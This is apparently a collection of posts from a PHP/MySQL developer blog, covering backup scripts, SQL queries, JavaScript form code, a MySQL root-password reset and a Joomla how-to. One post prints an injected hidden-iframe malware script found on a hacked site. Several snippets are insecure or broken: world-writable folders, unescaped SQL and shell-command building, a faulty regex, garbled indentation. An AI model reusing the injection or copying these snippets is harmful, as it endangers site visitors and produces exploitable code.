Many sites are using MySQL as database. It is a good practice that taking backup in regular intervals. My aim was to develop a package which deliver me database backup files [ having extension .sql] and mail me with the file as attachment.


You can download[ link ] this package from phpclasses.org[ link ]


This package, I named it as myeskuel. This package contains
1. ReadMe File : README.txt
2. Class File : mysql.class.inc
3. Configuration File: config.php
4. Invoking script : backup.php


How To Configure This
All you need to give some details into the config.php file. The configuration is divided into 3 parts:


1. BackUp folder Configuration
$backUpFolder = "backup";

Please change the folder; iff you need to change the backup directory. It is better to give complete path. The line just below it tries to make the directory if not exosts and give global (0777) permission for access.
2. Database Configuration Details
    $server['host'] = "localhost";
    $server['port'] = "";
    $server['user'] = "root";
    $server['pass'] = "pass";
    $server['database'] = "test_db";

    In this we need to give the details of the database: hostname, authenticated username, its password and the name of database. Giving port number is not necessary, if you are not sure about leave that position blank; it will take the default port number[3306].
    3. e-mail Configuration Details
    $mailer["FromMail"] = "db_manager@yoursite.com";
    $mailer["ToMail"] = "developer@yoursite.com";
    $mailer["MailBody"] = "Message Body";
    $mailer["DAS"] = false;


    Prerequisite for this facility is default php mail() support for your server and supports sending generated emails [most of the sites are having these options].


    FromMail, is the valid email address which comes in 'from header'. ToMail is considering as the trigger for mailing function. If you are leave this blank, the function for sending e-mail will be disabled, if you given a email to The MailBody contains the message that will be send along with the file as attachment.


    4. DAS – Delete After Send


    $mailer["DAS"] = false;


    This is an important parameter, if you configured as true, it will delete the file from the backup folder [created in the server] after successfully send the mail which configured to.


    EXTRA
    backup.php is the file that invokes the class and assign the variables, you can see generating a random name [on line # 38]. You can use any algorithm if you find it is not sufficient.

    Go through the class file mysql.class.inc. The functions having comments which helps you to modify and suited for you purpose. You can set a cronjob[scheduled Task] for send you the updated database backup on regular intervals. Enjoy.


    Comments and queries are always encouraging”.


    Download: myeskuel.zip







    Last night was so weary !!, one site I worked with was attacked by malware and those who visited this site resulted hanging up their computer some lost their OS, even some says they lost their computer completely. Site owner called me and requested me to check the problem immediately. Tell you the truth, it was my first experience with malware attacks.


    I started google the problem, I came to know it is easy to know which files are infected when we added site into google© Webmaster Tools. I did the same, when I completed the procedure, they asked me to add a meta tag in index page.


    I've opened index file using a text editor and added the tag in the place. Before I close I checked entire file and found a script after tag. It was not familiar to me, it was something like this:




    < script >document . Write(‘< iframe src=“http : // erapost . net/? click =5 8 35265” width=100 height=100 style=“position:absolute;top:-10000;left:-10000;” >< /iframe >’);< /script >< table cellpadding =‘0’ cellspacing=‘0’ width=‘100%’ >


    Please do not try this script: Really dangerous one.


    Remove un-friendly scripts like above, and try check. Hope it will work.







    I am currently working as a Project Lead for a local search engine project, there was a problem which is remained unsolved in our bugzillla [ wikipedia]. The problem was, in our keyword field, we are using an Ajax[wikipedia] suggestion. When we re-use the same window a browser generated suggestion came up over our suggestion, its make lots of difficulties on showing suggestion.


    My client noticed it is a useless thing which should be removed asap. My team worked on it and find no solution for this. We made a decision that, it is due to browser cache which is unable to remove by any sort of codes.


    Last day, I went to online bank account to check my balance when I logged out, I tried to log in again. Then I noticed that there is no these type of cache is presented. Then check the same of another bank, result is same no cache.


    What I do next is check the html code and I found there is an option said autocomplete.


    I tried the same wonder, the problem is solved.


    <input type="text" id="user" style="width:200px;" autocomplete="off" />


    Hope your problem is also solved.




    Visit: http://earthhour.in/

    It is simple in MySql to query some from a table by its ID and order it using another field say "rating"
    here is the php code for that


    $data = mysql_query(SELECT * FROM (SELECT * FROM table_name ORDER BY ID DESC LIMIT 50) AS ttbl ORDER BY rating ASC;


    ttbl is a virtual table or view (I don't know what exactly it is)

    Category : , | Read More...... edit post

    One of my client gave me a huge file which contain thousands of web urls, he want that into a html file having html (< a) tags with those site addresses as links.

    eg: the input file contain
    1. thecoderin.blogspot.com < http://thecoderin.blogspot.com/>
    2. keltrondays.blogspot.com < http://keltrondays.blogspot.com/>
    3. sahabm.blogspot.com < http://sahabm.blogspot.com/>
    4. linuxlight.blogspot.com < http://linuxlight.blogspot.com>

    the php code for convert this into format is given below:


    <?

    $file_to_read = "lines.txt";
    $file_to_write = "output.txt";


    $fh = fopen("$file_to_read", "r");
    $i = 1;
    while ($line = fgets($fh)) {
    $row[$i] = $line;
    $i++;
    }
    fclose($fh);



    $fh = fopen($file_to_write, 'w') or die("can't open file");

    $a = 1;
    $max = count($row);

    while ($a <= $max) {

    $var[$a] = explode(" ",$row[$a]);

    $data[$a] = "<a href='http://".$var[$a][1]."'>".$var[$a][1]."</a>\n";

    echo $data[$a];

    /*
    fwrite($fh, $data[$a]);
    */



    $a++;
    }

    #print_r($row);
    ?>

    Category : , | Read More...... edit post

    Consider a html page which having several comments; which is not good for mobile webpages, as its size must be very low. So better rebuild the html page.

    Here a script written using php, where it removes the html comments (including the matter inside <!-- and -->

    single line code for that


    $str = preg_replace('/<!--*?-->/i', '', $str);

    Category : | Read More...... edit post

    Wondered ? Yes it is possible using proc_open command for running terminal operations. But I am not sure about Windows Machines.

    The Code goes here:


    $descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the child will read from
    1 => array("pipe", "w"), // stdout is a pipe that the child will write to
    2 => array("file", "filename.txt", "w") // stderr is a file to write to
    );
    $command = "g++ cplusplusfile.cpp";
    proc_open($command,$descriptospec,$output);

    Category : , | Read More...... edit post

    To take backup:


    All database of a user : mysqldump -Q -u[User] -A -p > foo.sql
    particular Database : mysqldump -Q -u[dbUser] -B[dbName] -p > bar.sql


    Restore

    mysql -u[UserName] -p
    mysql > source foo.sql;

    mysql -u[UserName] -p
    mysql > create database user_bar; # for restoring single database
    mysql > source bar.sql;


    To dump all database from a remote server to local server The best option is
    follows

    ------------------------------------------------------------------------------------------------------------------------------------------------
    #mysqldump --all-databases --add-drop-table --host=10.10.10.1 -p > foo.dump
    --------------------------------------------------------------------------------------------------------------------------------------------------

    To Restore the dump
    #mysql < foo.dump

    Category : | Read More...... edit post

    ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)

    Causes of Access Denied:
    1. Make sure that the server is running. If it is not, clients cannot connect to it.
    2. It might be that the server is running, but you are trying to connect using a TCP/IP port, named pipe, or Unix socket file different from the one on which the server is listening. To correct this when you invoke a client program, specify a --port option to indicate the proper port number, or a --socket
    option to indicate the proper named pipe or Unix socket file. To find out where the socket file is, you can use this command:


    shell> netstat -ln | grep mysql
    

    There is many more reasons, which are enlisted on the MySql site

    Solution: You can easily override this problem by using the following commands on the terminal.



    # /etc/init.d/mysql stop
    # mysqld --skip-grant-tables --user=root&
    # mysql
    mysql> use mysql
    mysql> update user set Password='' where User='root';
    mysql> exit
    # killall -9 mysqld
    # /etc/init.d/mysql start
    # mysql -p
    Enter password:
    mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('newpassword');
    mysql> FLUSH PRIVILEGES;
    mysql> exit

    This will flush out all the previlage and set a new root password.

    I got busted with some easy mySql questions; anyway I expect this heck again and again. So I buried my self in google to find out the answers:

    and here we go!

    1. What is the difference between primary key and unique key?

    Primary Key:

    This is an index that cannot be NULL, Primary Keys are used in building relationships between tables in a database. (an index is automatically created on the primary key). The difference between primary and ordinary keys is that there can be multiple keys, but only one primary key.


    Unique Key:

    Unique and Index are same, the difference is, in Unique, duplicate are not allowed in any circumstances and that is enforced by database server.


    2. How can you get rows in between of two keys ?

    It can be done by using sql between.


    Syntax:
    ********** SELECT <fields> FROM <table> WHERE <key_field> BETWEEN <key1> AND <key2>


    Example : select f_name, l_name, age from employee_data where age BETWEEN 32 AND 40;

    In choices, there is also a option for "Others", if that clicks a textbox will appear and when un-checks that will disappear. Lets do the same with Javascript.

    Put the following code on the header section


    code:

    function displayField(fieldID, display)
    {
    document.getElementById(fieldID).style.display = (display) ? 'inline' : 'none';

    }



    and the following in the body section.


    code:

    function displayField(fieldID, display)

    <input name="checkbox_other" type="checkbox" class="text_background" id="checkbox_other" value="other" onclick="displayField('newClientLbl', this.checked)">
    <label style="display:none" id="newClientLbl">

    Enter Your Client Type: <input name="newClient" class="text_background" type="text">

    Many CMS sites having a facility to show the latest topics on site. I have created a general function for get the top 'n' posts. It is in PHP with MySql.



    code:



    < ?php
    function select_top($table, $fields, $key, $nos)
    {
    //done by : thecoderin.gmail.com
    //date: 28 feb 2009

    $count_field = count($fields);
    $query = "SELECT ";
    for($i=0; $i<$count_field -1; $i++) +++$query = $query."`".$fields[$i]."`, ";

    $query = $query."`".$fields[$count_field -1]."` ";

    $query .= "FROM $table ORDER BY $key DESC LIMIT $nos";
    // echo $query;
    $result = mysql_query($query);
    return $result;
    }
    ?>

    Category : , | Read More...... edit post

    PHP is a wonderful language which make anything possible in the web world. In some applications we need to generate a archive for binding a group of files.

    Tar (tape archive), a file format (in the form of a type of archive bitstream) is going to generate. The tar format was created in early days of Unix and standardised by POSIX. So better you try it in a linux based system.

    $file_path is the file/directory name you would like to archive
    .



    code:



    <? php
    $output_file = "TAR_FOLDER/".trim($ file_name) .".tar";
    $cmd = "tar -cf ".trim($output_ file)." -C ".trim($file_ path)."
    ".trim($file_ name);
    exec($cmd);

    ?>


    Category : , | Read More...... edit post

    Joomla is a php based open-source CMS toolkit. More you can find out from this document

    Just follow the steps:

    1.Create an article
    2. Type some intro text, we need to put in the read more divider.
    3.Click the Read More button at the bottom of the text editor.
    4.Once you have the read more separation line, add some text beneath it.
    5.Configuring the Article’s Parameters

    Now that we have an article with intro text and main text, it needs to be configured so that it has permission to show the intro text to the public, but only displays the main text to users who have registered and logged in. On the right hand side of the Article Editor there are several parameter tabs. Under the first tab [Parameters – Article] there is an option labeled Access Level. By default it is set to public. Click the drop box and set it to Registered.

    6. Click Save to save the article and exit to the Article Manager.

    7. Select Main Menu From Menus tab.
    8. Click on the Home Menu type
    9. On Right Side
    Parameters(Component)->Show Unauthorised Links; put the value as Yes.
    10.Click on Save.

    This article is for Joomla 1.5.x, you can if you want try it with older version, then please check this document

    Category : , | Read More...... edit post

    Here is links of some good Javascript reference books.

    Single Page Reference

    1. Javascript Quick Reference

    2. Javascript Cheat Sheet

    Books


    3. Javascript: The Defenitive guide

    4. Javascript By Example

    Once my client asked me to do a validation for a form in which contains many check boxes. The form can submit the data if and only if at most 'm' number of check boxes are clicked. I have written a javascript function for that, so that it can re-use.


    code:




    function checkboxValidate(cform,max)
    {
    +++for (var c=0,d=0,e; e=cform[d]; d++)
    ++++{

    +++++if (e.type=='checkbox' && e.name.match(/^show\[\]$/) && e.checked)
    +++++++c++;
    ++++}
    +++if (c > max)
    +++{
    ++++alert('You can only click m checkboxes ');

    +++++return false;
    ++++}
    +++return true;
    }




    the function checkboxValidate takes two arguments

    a.
    cform - the name of the form, in which contains the checkboxes
    b.
    max - the allowed maximum number of checks.

    You can edit this function and can enable it for the use of at least m number of clicks, that I left to you.

    In many technical interviews, many of you face the same question as I did. After a long search and try I find out the exact query

    It is just like this:



    SELECT * FROM <tablename> ORDER BY <fieldname> desc limit <n-1>, 1;



    Just check it with your table and comment your findings.

    Category : | Read More...... edit post

    Followers

    FeedCount

    Latest Posts

    thecoderinc

    Subscribe Now